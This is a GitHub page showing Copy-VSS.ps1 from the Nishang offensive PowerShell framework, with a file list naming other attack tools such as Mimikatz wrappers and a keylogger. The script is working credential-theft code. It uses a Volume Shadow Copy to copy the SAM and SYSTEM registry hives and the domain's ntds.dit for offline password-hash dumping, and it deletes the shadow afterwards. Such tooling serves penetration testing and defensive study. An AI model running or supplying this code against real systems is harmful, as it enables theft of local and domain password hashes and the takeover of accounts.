Files

414ee11

Go to file

ActiveDirectory
Antak-WebShell
Backdoors
Bypass
Client
Escalation
Execution
Gather
Check-VM.ps1
Copy-VSS.ps1
FireBuster.ps1
FireListener.ps1
Get-Information.ps1
Get-LSASecret.ps1
Get-PassHashes.ps1
Get-PassHints.ps1
Get-WLAN-Keys.ps1
Get-WebCredentials.ps1
Invoke-CredentialsPhish.ps1
Invoke-Mimikatz.ps1
Invoke-MimikatzWDigestDown...
Invoke-Mimikittenz.ps1
Invoke-SSIDExfil.ps1
Invoke-SessionGopher.ps1
Keylogger.ps1
Show-TargetScreen.ps1
MITM
Misc
Pivot
Prasadhak
Scan
Shells
Utility
powerpreter
.gitattributes
.gitignore

nishang / Gather / Copy-VSS.ps1

samratashok Added newline to EOF d745bdb · 7 years ago History

Code Blame 84 lines (69 loc) · 2.38 KB Raw

```
function Copy-VSS
{
<#
.SYNOPSIS
Nishang Payload which copies the SAM file (and ntds.dit and SYSTEM hive if run on a Dom

.DESCRIPTION
This payload uses the VSS service (starts it if not running), creates a shadow of C:
and copies the SAM file which could be used to dump password hashes from it. If the scr
The script must be run from an elevated shell.
The default path used for SAM is C:\Windows\System32\config\SAM, for SYSTEM hive it is
NTDS.dit it is C:\Windows\system32\ntds.dit. Sometimes the ntds.dit is present in other
Use $ntdsSource variable to provide the directory.

.PARAMETER PATH
The path where the files would be saved. It must already exist.

.EXAMPLE
PS > Copy-VSS
Saves the files in current run location of the payload.

.Example
PS > Copy-VSS -DestinationDir C:\temp
Saves the files in C:\temp.

.Example
PS > Copy-VSS -DestinationDir C:\temp -ntdsSource D:\ntds\ntds.dit

.LINK
http://www.canhazcode.com/index.php?a=4
https://github.com/samratashok/nishang

.NOTES
Code by @al14s

#>

    [CmdletBinding()] Param(
        [Parameter(Position = 0, Mandatory = $False)]
        [String]
        $DestinationDir,

        [Parameter(Position = 1, Mandatory = $False)]
        [String]
        $ntdsSource
    )
    $service = (Get-Service -name VSS)
    if($service.Status -ne "Running")
    {
        $notrunning=1
        $service.Start()
    }
    $id = (Get-WmiObject -list win32_shadowcopy).Create("C:\","ClientAccessible").Shado
    $volume = (Get-WmiObject win32_shadowcopy -filter "ID='$id'")
    $SAMpath = "$pwd\SAM"
    $SYSTEMpath = "$pwd\SYSTEM"
```

CHANGELOG.txt
DISCLAIMER.txt
LICENSE
README.md
nishang.psm1

```
        $ntdspath = "$pwd\ntds"
        if ($DestinationDir)
        {
            $SAMpath = "$DestinationDir\SAM"
            $SYSTEMpath = "$DestinationDir\SYSTEM"
            $ntdspath = "$DestinationDir\ntds"
        }


        cmd /c copy "$($volume.DeviceObject)\windows\system32\config\SAM" $SAMpath
        cmd /c copy "$($volume.DeviceObject)\windows\system32\config\SYSTEM" $SYSTEMpath
        if($ntdsSource)
        {
            cmd /c copy "$($volume.DeviceObject)\$ntdsSource\ntds.dit" $ntdspath
        }
        else
        {
            cmd /c copy "$($volume.DeviceObject)\windows\system32\ntds.dit" $ntdspath
        }
        $volume.Delete()
        if($notrunning -eq 1)
        {
            $service.Stop()
        }
    }
```